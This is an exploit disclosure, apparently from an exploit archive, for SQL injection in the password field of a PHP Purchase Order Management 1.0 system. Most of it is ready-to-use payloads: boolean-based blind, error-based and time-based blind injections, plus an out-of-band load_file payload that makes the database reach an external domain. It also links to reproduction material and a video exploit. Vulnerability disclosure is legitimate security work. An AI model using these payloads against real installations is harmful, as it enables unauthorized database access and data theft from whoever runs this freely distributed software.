Purchase Order Management 1.0 SQL Injection

## Title: Purchase Order Management-1.0 - SQLi## Author: nu11secur1ty## Date: 03.06.2023## Vendor: https://www.sourcecodester.com/user/257130/activity## Software: https://www.sourcecodester.com/php/14935/purchase-order-management-system-using-php-free-source-code.html## Reference: https://portswigger.net/web-security/sql-injection## Description:The `password` parameter appears to be vulnerable to SQL injection attacks.The payload '+(selectload_file('\\\\907tu6mdwzuv9ctlt93eg10er5xyls9jc74uvik.stupid.com\\aej'))+'was submitted in the password parameter. This payload injects a SQLsub-query that calls MySQL's load_file function with a UNC file paththat references a URL on an external domain. The applicationinteracted with that domain, indicating that the injected SQL querywas executed.STATUS: HIGH Vulnerability - CRITICAL[+]Payload:```mysql---Parameter: password (POST)    Type: boolean-based blind    Title: OR boolean-based blind - WHERE or HAVING clause    Payload: username=pwKLHXbY&password=-4290') OR 6172=6172 AND ('XovE'='XovE    Type: error-based    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY orGROUP BY clause (FLOOR)    Payload: username=pwKLHXbY&password=j3X!k3l!R0'+(selectload_file('\\\\907tu6mdwzuv9ctlt93eg10er5xyls9jc74uvikkc0rcehfjmie8te5szqd23hxgomfa5yu.stupid.com\\aej'))+'')OR (SELECT 8766 FROM(SELECT COUNT(*),CONCAT(0x717a6a6b71,(SELECT(ELT(8766=8766,1))),0x7162767871,FLOOR(RAND(0)*2))x FROMINFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ('dncG'='dncG    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: username=pwKLHXbY&password=j3X!k3l!R0'+(selectload_file('\\\\907tu6mdwzuv9ctlt93eg10er5xyls9jc74uvikkc0rcehfjmie8te5szqd23hxgomfa5yu.stupid.com\\aej'))+'')AND (SELECT 7405 FROM (SELECT(SLEEP(3)))pVNf) AND ('fltf'='fltf---```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2023/Purchase-Order-Management-1.0/SQLi)## Proof and Exploit:[href](https://streamable.com/w173zp)## Time spend:00:35:00-- System Administrator - Infrastructure EngineerPenetration Testing EngineerExploit developer athttps://packetstormsecurity.com/https://cve.mitre.org/index.html andhttps://www.exploit-db.com/home page: https://www.nu11secur1ty.com/hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=                          nu11secur1ty <http://nu11secur1ty.com/>-- System Administrator - Infrastructure EngineerPenetration Testing EngineerExploit developer at https://packetstormsecurity.com/https://cve.mitre.org/index.htmlhttps://cxsecurity.com/ and https://www.exploit-db.com/0day Exploit DataBase https://0day.today/home page: https://www.nu11secur1ty.com/hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=                          nu11secur1ty <http://nu11secur1ty.com/>